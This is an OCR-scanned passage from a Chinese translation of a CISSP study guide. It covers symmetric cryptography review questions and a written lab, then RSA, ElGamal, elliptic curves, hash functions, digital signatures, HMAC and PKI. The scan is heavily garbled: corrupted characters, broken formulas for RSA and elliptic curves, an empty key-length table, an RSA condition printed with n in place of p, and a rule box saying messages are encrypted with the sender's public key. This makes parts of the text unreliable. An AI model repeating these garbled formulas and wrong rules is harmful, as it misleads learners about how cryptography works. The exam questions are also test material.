间范围 内没有被(有意或无意)修改的保证。 对称和非对称密码系统都能够保证完整性。 不可否认性
提供了不可否认的证据， 从而证明消息的发送者确实是这个消息的作者。 它防止发送者否认他们发
送了原始信息 。
了解如何使用密码系统达到身份认证的目 标。 身份认证提供了 对用 户身份的保证。 使用身份认
第6章 密码学与对称加密算法
证的一种可能方案是挑战/响应协议， 其中的远程用户被要求使用 只有通信双方知道的密钥对消息进
行加密。 对 称和非对称的 密码系统都可 以实现身份认证。
熟悉密码学的基本术语。 当发送者希望向接收者传送一份私有消息时， 发送者会取出明文(未加
密 的)消息， 并且使用某种算法和某个密钥对明文消息进行加密， 从而生成发送给接收者的密文消息。
接收者随后使用相似的算法和密钥对密文进行解密 ， 并且重建原始的明文消 息 以供查看。
理解编码和密码之间的区剔， 井且能够解释密码的基本类型。 编码是对词汇或短语操作的符号
密码学系统， 有时是隐秘的 ， 但是并不能永远提供机密性。 不过， 密码永远意味着对消息的真实含
义进行隐藏。 了解下列密码类型的工作方式: 换位密码、 替代密码(包括一次性填充)、 流密码以及
分组密码。
了解成功应用一次性填充的要求。 要获得成功的一次性填充 ， 密钥必须随机生成， 并且不使用
任何己知的模式。 密钥必须至少和被加密的消息一样长。 填充必须防止物理泄露， 并且每个填充在
被丢弃前必须只 使用一次。
理解零知识证明的概念。 零知识证明是一个通信概念。 正如数字签名和数字证书一样， 零知识
证明交换特定类型的信息， 但是不传输实际的数据 。
理解知识分割。 分割知识意味着执行某个操作所需的知识或权限在多个用户之间分配， 这样可
以确保任何一个人都没有足够的权限来危害环境的安全性。 " M ofN 控制 " 是分割知识的一个示例。
理解工作函数(工作因数)。 工作函数或工作因数通过度量解密消息所需的成本和/或时间 ， 来度
量密码学系统的强度。 通常， 针对加密系统执行完全穷举攻击所需的时间和努力就是工作函数所表
示 的 内 容。 密码系统提供 的安全性和保护与工作函 数/因数的值成正比。
理解密钥安全性的重要性。 密码学密钥为密码系统提供秘密性的必要组件。 现代密码系统使用
至少 1 28 位的密钥来提供足够的安全性。 通常， 人们都赞同数据加密标准。)ES)56 位密钥的长度 己
无法提供足够的安全性。
了解对称和非对称密钥系统之间的差异。 对称密钥密码系统(或密钥密码系统)依赖于一个共享
密钥的使用 。 它们的速度远远快于非对称算法， 但是缺乏对 可扩展性、 简单密钥分发和不可否认性
的支持。 非对称密码系统对双方之间 的通信使用公共/私钥对， 但是要比对称算法的操作速度慢得多。
能够解释数据加密标准(DES)和三重 DES(3DES)的基本操作模式。 数据加密标准具有 4 种操作
模式: 电子代码本(ECB)模式、 密码分组链接(CBC)模式、 密码回馈(CFB)模式和输出 回馈(OFB)模式。
ECB 模式被认为是最不安全的 ， 并且只用于短消息。 3DES 使用 DES 的三次选代， 利用两或三个不
同 的密钥 ， 从而将密钥的有效强度各 自 增加到 1 12 位或 1 68 位 。
了解高级加密标准(AES)。 高级加密标准使用 Rijn也el 算法， 并且是美国政府安全交换敏感但
非分类数据的标准。 AES 使用 1 28、 1 92 和 256 位的密钥和固定 128 位大小的分组达到比旧的 DES
算法高得多 的 安全性。
6.7 书 面实验室
1 . 阻碍广泛采用一 次性填充密码系统来确保数据机密性的主要障碍是什么 ?
2. 使用密钥为 SECURE 的柱状换位密码， 对消息"1 wiU pass the CISSP exam and become c创诅ed
next month " 进行加密。
3. 使用凯撒 ROT3 替换密码， 对消息 " F RQJU D W XODW LRQV B RXJRW LW" 进行
1 55
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CISSP 官方学习指南(第 7 版)
解密 。
6.8 复 习 题
1. 4 位的密钥空间存在多少个密钥 ?
A. 4
B. 8
c. 16
D. 1 28
2. Jolm 近期收到一封来 自 Bill 的 电子 邮件 。 需要满足什么密码学 目 标， 才能让 John 相信 Bill
是这封邮件的发送者 ?
A. 不可否认性
B. 机密性
c. 可用性
D. 完整性
3. 数据加密标准(DES)密码系统中使用 的 密钥长度是多少?
A. 56 位
B. 1 28 1立
C. 1 92 位
D. 256 位;
4. 什么类型的加密方式， 依赖于不断变化消息 中字符的位置去实现机密性 ?
A. 流加密
B 换位加密
C. 块加密
D. 替换加密
5. 下列哪一个不是高级加密标准 Rijndael 算法可能的密钥长度 ?
A. 56 位
B. 128 千立
C. 1 92 位:
D. 256 {:立
6. 秘密密钥加密系统不能实现下列哪一项 ?
A. 不可否认性
B. 机密性
C. 可用性
D. 密钥分发
7. 如果配置正确， 己知唯一的牢不可破的加密系统是什么 ?
A 换位密码
B. 替代密码
C. 高级加密标准
D. 一次性填充
8. 数学函数 1 6 模 3 的输出值是多少 ?
A. 0
B. 1
C. 3
D. 5
第6章 密码学与对称加密算法
9. 在 20 世纪 40 年代 ， 一队来 自美国 的密码破译专家成功破解了 基于一次一密的被称为
VENONA 的项 目 。 该项 目 破坏了什么 规则 ， 导致引 起这个事件 ?
A 密钥值必须随机。
B. 密钥值必须和信息一样长。
C. 密钥值必须仅能被用一 次
D. 密钥值必须防止物理泄露
1 0. 以下密码类型 中 ， 哪一项对大块的消息而不 是单个字符或位的 消 息进行操作 ?
A. 流加密
B. 凯撒加密
C. 块加密
D. ROT3 加 密
11. 为 了通过使用对称加密算法对双向通信进行保护 ， 需要的加密密钥的最小数 目 是多少?
A. 1
B. 2
C. 3
D. 4
12. Dave 正在开发一个需要多人才能取回密钥的密钥托管系统， 但并不依靠每个参与者到现场。
他正在使用什么类型的技术?
A. 分割知识
B. M ofN 控制
C. 工作函数
D. 零知识证明
13. 下面哪种数据加密标准(DES)操作模式能被用于大量信息， 确保在加密/解密过程中 不会因
为一个早期的错误而破坏整个通信 ?
A. 密码分组链接(CBC)
B. 电子代码本(ECB)
C. 密码回馈(CFB)
D. 输出回馈(OFB)
1 4. 许多加密算法依赖于分解大素数乘积的难题。 它们依靠的这个问题的特点是什么 ?
A. 包含扩散
B 包含泪淆
C. 包含单向函数
D. 遵照、 Kerchoff原 则
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CISSP 官方学 习指南(第 7 版)
15. 全面实现有 1 0 人参与 的对称算法需要 多少个密钥 ?
A. 10
B. 20
c. 45
D. 1 00
1 6. 高级加密标准使用 的分块大小是多少 ?
A. 32 1.立
B. 64 位
C. 128 位
D. 可变
1 7. 什么样的攻击， 使得凯撒密码几乎无法使用 ?
A. 中 间人攻击
B. 托管攻击
C. 频率分析攻击
D. 换位攻击
1 8. 什么类型 的密码系统经常利用一个通道 ， 借助一本著名 的 书来加密密钥 ?
A. Vernam 加 密
B. 轮换密钥加密
C. Skipjack 加 密
D. Twofish 加 密
1 9. 哪个入围的 AES 利用 了预白l噪声化和后 自 噪声化技术 ?
A. Rijndael
B. Twofish
C. Blowfish
D. Ski时ack
20. 全面实现有 1 0 人参与 的非对称算法需要多少个密钥 ?
A. 10
B. 20
C. 45
D. 1 00
第 7 ==二
与主
PKI 和密码学应用
本章中覆盖的 CISSP 考试大纲包含:
安全工程学
• 1. 密码学应用
1.2 密码学类型(例如， 对 称密码学 、 非对称密码学、 椭圆曲线密码学)
1.3 公钥基础设施(PKI)
I.4 密钥管理实践
1.5 数字签名
1.6 数字版权管理
I.7 不可否认性
1.8 完整性(哈希和撤盐)
I.9 密码分析攻击方法(例如 ， 暴力破解、 仅知密文、 已知明文)
第 6章"密码学与对称密钥算法" 中介绍 了基本的密码学概念， 并且探索了 多种私钥密码系统。
这些对称密码系统虽然提供了快速、 安全的通信方式， 但是也引入了在以前无关的各方之间进行密
钥 交换时所面临的实际挑战。
本章将探讨非对称(或公钥)密码学和公钥基础设施(PKI)领域， 这个领域支持世界范围内各方之
间 的安全通信， 并且这些通信方在通信之前不必彼此认识。 非对称算法提供方便的密钥交换机制并
可扩展到非常大的用户 数量 ， 而这些都是使用对称密码算法所要面临的挑战。
本章还将研究几种密码学在安全电子邮件、 Web 通信、 电子商务、 数字版权管理和网络连接方
面的实际应用情况。 最后， 本章介绍怀有恶意的个人可能使用 的威胁较弱密码系统的多种攻击方法。
7. 1 非对称密码学
在第 6 章的"现代密码学"一节中介绍了私有密钥(对称)和公钥(非对称)密码学背后的基本原则 。
你 已经学习过对称密钥的密码系统要求通信双方都具有相同且共享的秘密密钥， 从而产生了安全密
钥分发的 问题。 你还学过为了克服这个难题， 非对称密码系统使用 了 公钥和私钥对， 从而促进在无
须支出复杂密钥分发系统的开销的情况下， 进行安全通信。 这些系统的安全性取决于反向使用单 向
1 60
CISSP 官方学习指南(第 7 版)
函数的难度。
在下面的几节中， 我们将会更详细讨论公钥密码学的概念， 井介绍当今使用较多 的三种公钥密
码系统: RSA、 El Gamal 和椭圆 曲线密码系统(Elliptic Curve Cryptosystem， ECC)。
7. 1.1 公钥与私钥
第6章 曾经介绍过， 公钥密码系统依赖于为每个密码系统用户分配的一对密钥。 每个用户都同
时维护一个公钥和一个私钥。 顾名思义， 对于想与公钥密码系统用户 通信的任何人来说， 都可以从
该用户那里自 由获得公钥。 第三方拥有的公钥不会将任何脆弱性引入密码系统。 另 一方面， 私钥只
供专人使用 ， 这种密钥从不与其他密码系统用 户 共享 。
公钥密码系统用户之间 的 正常通信相 当 简单 。 图 7. 1 说 明 了 一般过程。
发送者 接收者
曰→
图 7. 1 非对称密钥密码学
可 以看到， 这个过程并不需要共享私钥 。 发送者用接收者的公钥加密明文消息(时， 从而产生密
文消息(C)。 当接收者打开密文消息时 ， 他们使用 自 己的私钥解密密文， 重新生成最初的明文消息。
一旦发送者用接收者的公钥加密了 消息， 那么在不知道接收者的私钥(用于生成消息的公钥/私
钥对的另一半)的情况下， 没有用户(包括发送者)能够解密这些信息。 这就是公钥密码学的优点， 即
可 以使用不安全的通信通道 自 由共享公钥， 并在 以前并不认识的用户之间创建安全的通信信道。
你 曾学过公钥密码学具有较高程度的计算复杂性。 为 了产生同等加密强度的密码系统， 公钥系
统 中使用 的密钥长度必须 比私钥系统中使用 的 密钥长度更长。
7.1 .2 RSA
最著名 的公钥密码系统以其创造者命名 。 1 977 年 ， Ronald Rivest、 Adi Shamir 和 LeonardAdleman
提出 了 RSA 公钥算法， 这种算法成为今天在全世界范围仍在使用 的标准。 他们为这个算法申请了专
利并成立了一家商业公司(RSA 安全公司)， 该公司开发使用其安全技术的主流产品。 今天， RSA 算
法 己经构成许多知名安全基础设施(例如 ， Microsoft、 Nokia 和 Cisco 公司 的相应产品)的安全构架。
RSA 算法依赖于大质数在因数分解时固有的计算难度。 密码系统的每个用户都使用下列步骤描
述 的算法产生一对公钥和私钥 :
(1) 选择两个大的质数(每个质数大约 200 位)， 用p和q 来表示。
(2) 计算出 这两个质数 的乘积， 即 n = p * q。
(3) 选择一个满足下列两项要求的数字 。
a. 巳 小于 n 。
第 7 章 PKI 和密码学应用
b. e 和(n一1 )(q一 1 )互质 ， 也就是说， 除 了 l 以外， 这两个数没有共同的因数。
(4) 找到一个数 d， 使得(ed - 1) mod (p 一 1 )(q 一 1 ) = 0 。
(5) 把e和n 作为公钥分发给所有的密码系统用 户 ， 将 d 作 为私钥并保持其秘密性。
如果 Alice 想把一条加密的消息发送给 Bob， 那么她会使用如下所示的公式将明文σ)加密为密
文(C)， 其 中密钥产生过程中生成 的 e是Bob 的公钥， n是p和q的乘积:
c = pe mod n
当 Bob 收到消息时， 他会运用 下面这个公式得到 明文消息:
p = c
d mod n
Merkle-Hel lman 背包算法
另 一种早期的非对称算法 Merkle-Hellman 背 包算法在 RSA 公开一年后被开发出来。 与 RSA一
样， 这种算法也基于执府因 式分解操作的难度， 但是它依赖于被称为超增序列 的集合论组件， 而 不
是依赖 于 大质数。 在 1 984 年被破解时 ， Merkle-Hellman 背 包算法曾被证明是不安全的 。
密钥长度的重要性
密码系 统中 密钥的长度也许是最重要的安全参数， 它可以根据安全管理 员 的判断 自 由设定。 了
解加密算法的能力并选择能够提供适当 保护程度的密钥长度是十分重要的。 通过权街击败给定密钥
长度的难度(测量击败密码 系 统所需的处理时间 )与数据的 重要程度做出 决定。
一般而 言 ， 数据越重要， 保护数据的密钥力口密强度就应该越强。 数据的时间性也是重要的考虑
因素。 必须考虑到计算能力 的迅速增长， 著名 的摩尔定律指出， 大约每隔 1 8 个月 计算机的计算能力
就会翻一番。 如果使用现在的计算机， 需要花费一年的处理时 间来破解1v萄， 那么按照摩尔 定律，
使用 三年后 同 时代的技术， 这种尝试只 需三个月 时间。 如果希望数据在三年后的敏感程度仍然不变，
就应该选择比较长的力口密密钥 ， 从而在今后保持较好的安全性。
根据所使用 密码系统的不同 ， 各种密钥长度的加密强度有很大差异。 有三种非对称密码系统的
密钥 长度能提供相 同 的保护程度， 如表 7. 1 所示:
表 7. 1 三种非对称密码系统的密钥长度
密码系统
时一叫一 叫一叫
RSA
DSA
椭圆 曲线密码系统
7. 1 .3 EI Gamal
在第6章中， 你己经学习 了 Di伍。Hellman 算法如何使用大的整数和模数算法来帮助在不安全的
通信信道上安全交换秘密密钥。 1 985年， T. El Gamal 博士发表了一篇文章， 文 中介绍了 Diffie-Hellman
密钥交换算法背后的数学原理如何被扩展用 于支持整个密码系统中 的消 息加密和解密。
1 61
CISSP 官方学习指南(第 7 版)
在发布时， El Gamal 算法优于 RSA 算法的一个主要方面是: 它是公开发布的。 El Gamal 博士
没有申 请 Diffie-Hellman 算法的扩展专利权， 并且它的使用是免费的 ， 不像商业化的 己取得专利的
RSA 技术(在 2000 年 ， RSA 公布其算法到公共领域)。
然而， EI Gamal 算法也有一个主要缺点， 即用此算法加密的任何消息的长度都加倍了 。 当加密
长信息或数据并且要在带宽较窄 的通信线路上传输时， 这会表现出难 以 克服的 困难。
7. 1 .4 椭圆曲线密码系统(ECC)
也是在 1 985 年， 两位数学家 Neil Koblitz(来 自 华盛顿大学)丰日 Victor MiUer(来自 IBM)独立地提
出 了运用椭圆曲线密码系统(ECC)理论来开发安全的密码系统。
注意 :
椭 圆 曲线密码系统背后的数学概念是相当复杂的 ， 并且也超出 了 本书 的讨论范围 。 但是， 在准
备 CISSP 考试时， 应 当大致熟悉椭圆曲线算法及其潜在的应用 情况。 如果有兴趣学 习椭圆 曲线密码
系 统的数学知识， 可以参考www.certicom.com/index.php/ecc-h1torial 上的优秀指南。
1 62
使用下面这个方程式可 以定义任何椭 圆 曲线:
y
2
= X
3 = ' + ax +
在这个方程式中 ， x、 y、 a和b 都是实数。 每个椭圆曲线都有一个对应的椭圆曲线组， 这个椭
圆 曲线组由椭圆 曲线上的点和位于无穷大处的点 0 组成。 在同一个椭圆 曲线组中 的两个点σ 和 Q)
可 以用椭圆 曲 线的加法算法加在一起 。 这个运算非常简单 ， 如下所示:
P + Q
这个 问 题可 以被扩展 以涉及乘法。 假设 Q是P 的倍数， 如下所示:
Q = xP
计算机科学家和数学家相信， 即使在P和Q 己知的情况下， 找到像 x 这样的数也是极其困难的。
这个难题被称为椭圆 曲线的离制才数问题， 也是形成椭圆曲线密码学的基础。 人们一般认为， 解决
这个问题比解决 RSA 密码系统依赖的质数因数分解问题和 Di面e-Hellman 与 El Gamal 应用 的标准离
散对数问题还要困难。 前面的 " 密钥长度的重要性 " 通过具体数据阐述了这个问题， 也就是 1 088
位 的 RSA 密钥的加密强度相当于 1 60 位的椭圆 曲 线密码系统密钥的加密强度。
7.2 散列 函 数
在本章的后面部分， 你将了 解密码系统如何通过实现数字签名来证明某条消息来 自 于密码系统
的一位特定用户 ， 并且保证此消息在双方传输的过程中没有被修改。 在完全理解这个概念之前， 我
们必须先解释一下散列函数的概念。 本节我们将研究散列函数的基础知识， 并讨论现代数字签名算
法中常用 的 几种散列函数。
第 7 章 PKI 和密码学应用
散列函数具有一个非常简单的用途， 那就是它们接收一条可能会很长的消息， 然后根据消息 内
容生成唯一的输出值。 该值通常被称为消息摘要 。 消息摘要可以 由消息的发送者产生 ， 并连同完整
的消息一起传送给接收者 ， 这其中有两个原因:
首先， 接收者能够使用相同的散列函数对完整的消息进行重新计算， 得出消息摘要。 然后， 接
收者将计算得出 的消息摘要与传送过来的消息摘要进行比较， 从而确保始发者发送的消息与接收者
收到的是同一条消息。 如果两个消息摘要不匹配， 那么就表明消息在传送的过程中因为某种原因被
修改过。
其次， 消息摘要可以被用于实现数字签名算法。 这个概念将在本章稍后的 "数字签名 " 部分 中
进行介绍 。
注意 :
术语 "消息摘要" 可以与其他多 种同义词王换使用 ， 这些同 义词 包括散列 、 散列值、 散列总数、
CRC、 指纹、 技验和 、 数字 ID.
大多数情况下， 消息摘要为 1 28 位或更长。 不过， 某个单位值可以被用于执行奇偶校验功能，
低位或单位校验值被用于提供单独的验证点。 大多数情况下， 消息摘要越长， 完整性验证就越可靠。
按照 RSA 安全公司 的标准 ， 对密码学散列 函数有下列 5 个基本要求:
• 输入值可 以 是任意长度 。
• 输 出值具有固定的长度 。
• 散列函数在计算任何输入值时要相 对容易。
• 散列函数是单向的(意味着在提供输出值时确定输入值是极其困难的)。 单向函数及其在密码
学 中 的用途在第 6 章 中 曾 经介绍过。
• 散列函数是不会发生冲突的(意味着找到产生相 同散列值的两条消息是极其 困难 的)。
接下来， 我们将介绍 4 种常见的散列算法: S也气、 MD2、 民在D4 和 MD5 。 本章稍后部分还将对
HMAC 进行讨论。
提示 :
散91J算法有很多 ， CISSP 考试只 涉及其中几种算法。 除 了 SHA、 MD2、 MD4、 h在D5 和 HMAC
之外， 你还应 当 了 解变长散列(Hash ofVariab1e Length， HAVAL). HAVAL 是 岛。5 的修改版， 这种
算法使用 1 024 位的分组 ， 并且产 生 128、 1 60 、 192 、 224 和 256 位的散列值。
7.2. 1 SHA
安全散列算法(SHA)及随后衍生 的 SHA-l 和 SHA-2 算法是由美国国家标准和技术协会阴1ST)
开发的政府标准的散列函数， 并在正式的政府出版物一一安全散列标准(Secure Hash Standard， SHS)
中进行了说明， 此标准也被称为联邦信息 处理标准(FIPS)1 80 。
SHA-l 表面上可以接受任意长度的输入数据(事实上， 在此算法中输入值的长度的上限大约是
2 097 1 52TB)， 并且生成一个 1 60 位的消息摘要。 SHA-l 算法处理 5 12 位的消息分组。 因此， 如果
消息的长度不是 512 的倍数， 那么 SHA 算法就会用附加的数据填充消息， 直至长度达到 512 的下
一个最高倍数。
近年来的密码分析攻击己证明 SlL斗1 算法中存在缺陷， 这导致 SHA响2 算法的出现， SHA-2 具
有下列 4 种变体:
1 63
CISSP 官方学习指南(第 7 版)
• SHA-256 处理 5 12 位的分组大小 ， 生成一个 256 位的消息摘要。
• SHA-224 处理 5 12 位的分组大小 ， 使用删减版本的 SHA-256 散列算法生成一个 224 位的消
息摘要。
• SHA-5 1 2 处理 1 024 位的分组 大小 ， 生成一个 512 位的消息摘要。
• SHA-384 处理 1 024 位的分组大小， 使用删减版本的 SHA-5 1 2 散列算法生成一个 384 位的
消 息摘要。
提示 :
虽 然看似没那 么 重要， 但还是要花时间记住本章讨论的每种散列 算法生成的信息摘要的大小。
密码机构通常将 SHA-2 算法视为安全的 ， 但是这种算法在理论上存在与 SHA-l 算法相 同的缺
陷 。 在 2012 年， 美国联邦政府宣布选择 Keccak 算法作为 S队-3 标准。 然而， S队-3 标准仍是草案
的形式并且一些技术细节仍然需要完成。 观察家认为， 一旦 NIST 定型 SHA-3 ， SHA-2 仍将是 NIST
安全散列标准(SHS)的一部分， 直到有人证明 对 SHA-2 的有效实际攻击。
7.2.2 MD2
扎在02 散列算法由 Ronald Rivest(也就是 Rivest、 Shamir 和 Adleman 中 的同一人)于 1 989 年开发，
是为 8 位处理器提供的一种安全散列函数。 扎在02 对消息进行填充， 从而使消息的长度成为 1 6 字节
的倍数。 然后， 该算法会计算出一个 1 6 字节的校验和， 并添加到消息的结尾处。 最后， 通过使用完
整的原始消息与添加 的校验和共同生成 1 28 位的消息摘要。
存在针对MD2 算法的密码分析式攻击， 尤其是 Nathalie Rogier 和 Pascal Chauvaud 发现， 如果
校验和在消 息摘要计算之前没有被添加到消息中， 那么就有可能发生冲突。 之后， Frederic Mueller
证 明 MD2 不是一种单向 函数 。 因此， 这种算法己不再使用 。
7.2.3 MD4
1 990 年， Rivest 增强了其信息摘要的算法， 进而支持 32 位的处理器并提高了安全级别 。 这种
高级的算法被称为 MD4。 这个增强算法先对消息进行填充 ， 确保消息的长度 比 512 比特的倍数短
64 比特。 例如， 一条 1 6 比特的消息会用 432 比特的附加数据进行填充 ， 使之达到 448 比特， 这条
消 息的长度是 比 512 比特的倍数短 64 比特。
随后， MD4 算法对 512 位的消息分皇岛挂行处理， 经过三轮计算， 最后的输出结果是一条 1 28
比特的消息摘要。
1 64
提示 :
扎在02、 MD4 和 MD5 算法不再被承认是合适的散列 函数。 不过， CISSP 考试中仍然可能涉及这
些 算法的细节 问 题。
几位数学家己经公开发表了 书面文档 ， 证明 MD4 算法完整版本的缺点 以及不正确实现的 MD4
版本。 特别地， 出ns Oobbertin 在 1 996 年发表了一篇论文， 概述了如何使用现代个人计算机在不到
一分钟的时间内找到针对 MD4 消息摘要的冲突。 因此， 扎在04 己经不再被认为是一种安全的散列算
法 ， 如有可能， 应当尽量避免使用这种算法。
第 7 章 PKI 和密码学应用
7.2.4 MD5
1991 年 ， 因vest 发布了 其消 息摘要算法的下一个版本， 也就是 扎在05 。 这个算法还是处理 512
位的消息分组， 但是使用 4 轮明显不同的计算生成与 MD2 和 MD4 算法一样长度的消息摘要(1 28
位)0 MD5 与 MD4 具有同样的填充要求， 即 消息长度必须 比 5 1 2 位 的倍数短 64 位 。
h在05 实现了额外的安全特性， 显著降低了消息摘要的生成速度。 遗憾的是， 近来的密码分析攻
击 己经证明 MD5 协 议会产生冲突， 这表明它不是一种单向函数。 特别地， Aiien Lenstra 和其他一些
人在 2005 年证明 了 使用不同 的公钥能够创 建两个具有相 同 MD5 散列 的数字证书。
表 7.2 列 出 了 知名 的散列 函 数及其生成散列值的长度。 请记住这张表。
表 7.2 散列算法记忆表
算法名称 晗希值的长度(单位为位)
HAVAL 一种 MD5 变种 1 28、 1 60 、 1 92 、 224 丰日 256
HMAC 可变
MD2 1 28
MD4 1 28
MD5 1 28
SHA-1 1 60
SHA-224 224
SHA-256 256
SHA-384 384
SHA-5 12 5 1 2
7.3 数 字签名
一旦选择足够安全的散列算法， 那么就能够使用其实现数字签名系统。 数字签名基础结构具有
两个明显的 目 标:
• 数字化的签名消息可以向接收方保证: 消息确实来 自 己声 明 的发送者， 并且实施了 不可否
认性(也就是说 ， 排除 了 发送者之后声称消息是伪造的情况)。
• 数字化的签名消息可以向接收方保证: 消息在发送方和接收方之间进行传输的过程中不会
被改变。 这种方法确保消息不会受到恶意的修改(第三方想要修改消息的含义)以及无意识的
修改(由通信过程中 的故障造成 ， 如 电磁干扰)。
数字签名算法的基础是本章 已 经介绍过的两个重要概念 : 公钥密码学和散列 函数。
如 果 Alice 想要数字化签名一条发送给 Bob 的消息， 那么她会执行下列动作 :
(1) Alice 使用一种足够安全的散列 算法(如 SHA-5 1 2)生成原始明文消息的消息摘要。
(2) 然后 ， A1ice 使用她的私钥只 对消 息摘要进行加密。 加密的消息摘要便是数字签名 。
(3) Alice 将签名 的消息摘要添加到明文消 息 中 。
(4) Alice 将完成添加的 消息传送给 Bob。
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CISSP 官方学 习指南(第 7 版)
当 Bob 接收到数字化签名 的消息时， 他会逆向 完成如下过程:
(1) Bob 使用 Alice 的 公钥解密数字签名 。
(2) Bob 使用相同的散列函数， 生成从 Alice 那里接收到 的完整明文消息的消息摘要。
(3) 然后， Bob将从剧i臼 那里接收到的 己解密的消息摘要与 自 己计算得到的消息摘要进行比较。
如果两个消息摘要匹配， 那么 Bob 就能够确认接收到的消息是由 Alice 发送的 。 如果这两个消息摘
要不匹配， 那么这条消息有可能不是 Alice 发送的 ， 也有可能在传输过程中 被修改了 。
注意 :
数字签名 不仅仅用 于消息， 软件供应商经常使用数字签名技术对从互联网 上下载的编码分发(例
如 ， applet 和软件补丁)进行身份认证。
需要注意的是， 数字签名过程本身并不提供任何隐私保护。 数字签名 只是确保满足加密 目 标中
的完整性和不可否认性。 然而， 如果 Alice 想保证发送给 Bob 的消息的隐私性， 那么她就要在消息
生成的过程中增加额外的步骤。 在将己签名 的消息摘要添加到明文消 息中 以后， Ali臼 可 以用 Bob
的公钥加密整条消息。 当 Bob 接收到消息时 ， 他会用 自 己的私钥在上述所列的步骤之前对消息进行
解密 。
7.3.1 HMAC
HMAC 算法实现了 部分的数字签名功能， 即保证了消息在传输过程中 的完整性， 但是不提供不
可否认性。
@ 真实场景
应当使用 哪一种密钥 ?
如果对公钥密码学不是很熟悉， 那么就会对针对各种不同的应用 情况选择适当的密钥感到相 当
困 惑。 力口密 、 解密、 消 息签名和签名验证者问却有具有不 同 密钥输入值的相同 算法。 下面列 出 的一些
简 单规则 能够帮助读者在 准备 CISSP 考试时记住这些概念:
• 如果想要加 密 消息， 那么就使用 发送者的公钥 。
• 如果想要解密友送给你的消息， 那么就使用 自 己 的 私钥 。
• 如果想要数字 化签名 发送给其他人的 消息， 那么就使用 自 己 的 私钥 。
• 如果想要验证由 其他人发送过来的 消息中的签名 ， 那么就使用 发送者的公钥 。
这 4 条规则是公4月密码学和生文字签名 的核心原则。 只要对每一条规则都有 了 深刻 的理解， 就有
了 一个 良好的开端。
通过使用一个共享的密钥， HMAC 可 以与任何标准的消息摘要生成算法(如 SHA-2)组合在一起。
因此， 只有知道此密钥的通信双方能够产生或验证数字签名 。 如果接收方解密消息摘要， 但是无法
将这个消息摘要与明文消息产生的消息摘要进行成功比较， 那么就说明这条消息在传输过程中被更
改了。
第 7 章 PKI 和密码学应用
因 为HMAC依赖于一个共享的密钥， 所以它无法提供任何的不可否认性功能(正如前面提到的)。
然而， 与下面将要介绍的数字签名标准相比， HMAC 以一种更加有效的方式进行操作， 并且可能更
适合于使用对称密码学的应用 。 简而言之， 在不使用加密的消息摘要算法与基于公钥密码学的采用
计算方式 的 昂贵数字签名 算法之间， 出<1AC 能够起到折中 的作用 。
7.3.2 数字签名标准
在美国联邦信息处理标准σIPS)1 86-4 中 ， 美 国 国家标准和技术协会指定了联邦政府可以使用 的
数字签名算法， 该标准也被称为数字签名标准(DSS)。 这个文档指定美国联邦政府批准的所有数字签
名 算法都必须使用 SI-L斗2 散列 函数。
DSS 还指定了 可以被用于支持数字签名基础结构的加密算法。 目 前存在下面三种经过批准的标
准加密算法:
• 数字签名算法(DSA)， 在 FIPS 1 86-4 中指定。
• RSA 算法， 在 ANSI X9.3 1 中指定。
• 椭圆曲线数字签名算法(ECDSA)， 在 ANSI X9.62 中指定。
提示 :
你还应当了 解其他两种数字签名 算法， 至少要知道它们的名字: Schnorr 签名 算法和 NybergRueppel 签名 算法。
7 .4 公钥基础设施(PKI )
公钥加密的主要优点是使原本互不认识的双方之间 的通信变得容易。 受信任的公钥基础设施
σ阻)层次使得这一点成为可能。 这种信任允许结合非对称和对称算法以及哈希和数字证书， 为我们
提供混合加密方式。
在下面的 内容中 ， 你将了解公钥基础设施的基本组件， 以及使全球安全通信成为可能的密码学
概念。 你将学习 数字证书的组成 、 证书授权的作用 、 生成和销毁证书的过程。
7.4. 1 证书
数字证书为通信双方提供了 保证， 保证正在与之通信的人确实具有他们所宣称的身份。 数字证
书本质上是个人公钥的认可副本。 当用户验证证书确实是由可信证书颁发机构(CA)发布时， 他们就
相信这个公钥是合法的 。
数字证书包含特定的身份标识信息， 并且其结构归国际标准 X.S09 决定。 遵循 X.S09 标准的证
书包含下列数据 :
• 证书遵循的 X.S09 版本。
• 序列号(来 自 证书建立者)。
• 签名 算法标识符(指定证书授权机构对证书的 内 容进行数字签名 时使用 的技术)。
• 发布者姓名(发布证书的证书授权机构的 身份标识)。
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CISSP 官方学 习指南(第 7 版)
• 有效期(指定证书有效的 日 期和 时间 : 开始的 日期、 时间， 以及结束的 日 期 、 时间)。
• 主体的名字(包括区 分实体身份的唯一名字或 DN ， 相应实体拥有证书中 包含的公钥)。
• 主体的公钥(证书的内容: 证书拥有者用于建立安全通信的 实际公钥)。
当前版本的 X.509(.版本 3)支持证书扩展: 定制变量， 这些变量包含为支持对证书或各种应用程
序进行跟踪而 由证书授权机构插入到证书 中 的数据。
注意 :
如果对建设 自 己的 X.509 证书感兴趣或只是想探究公钥基础设施的 内 部工作， 可以从国 际电信
联盟(Intemational Telecommunications Union， ITU)购 买完整的官方 X.509 标准。 它是通信标准的开
放 系统互连(Open System Interconnection， OSI) 系 列 的一部分， 可以在 ITU 网 站www.itu.int 购买电
子版。
X.509 尚未正式接受为标准， 因此不同厂商的实现有所不同。 然而， 微软和 Mozilla 在他们的
Web 客户端和服务器之间采用 X.509 作为事实上的安全套接字层(SSL)通信标准。 SSL 协议的细节部
分将在本章后面的 " 密码学应用 " 中进行阐述。
7.4.2 证书授权机构
证书授权机构(CA)将公钥基础设施绑定在一起。 这些中 立的组织机构为数字证书提供公证服
务。 为了从著名的CA 处获得数字证书， 必须亲 自 前往其代理机构， 并且出示适当的身份识别文档。
下面的列表中 包括一些主要的 CA:
• Symantec
• Tha\\吨巳
• GeoTrust
• GlobalSign
• Comodo Limited
• Starfi巳ld Technologi巳s
• GoDaddy
• DigiCert
• Network Solutions. LLC
• Entrust
没有办法能够阻止任何组织开展 CA 性质的业务。 然而， 这些由 CA 发布的证书只 是相当于对
发布它们的组织的信任。 在接到来自 第三方的数字证书时， 这一点是需要考虑的重要内容。 如果并
不认可和信任发布证书的 CA， 那么根本就不应该信任这个证书。 如果配置浏览器让其信任一个 CA，
它会自动信任由该 CA 颁发的所有数字证书。 浏览器开发者预先设置了浏览器可信任的主要 CA，
以减轻用 户 的负担。
注册授权机构(RA)在数字证书发布之前帮助 CA 验证用 户 的身份。 队本身并不直接发布证书，
但是在认证过程中 扮演重要的角色， 从而允许 CA 远程验证用户 的身份。
第 7 章 PKI 和密码学应用
@ 真实场景
证书路径确认
在学 习证书授权机构的过程中， 你可能会接触到证书路径验证(Certi自cate Path Validation， CPV)。
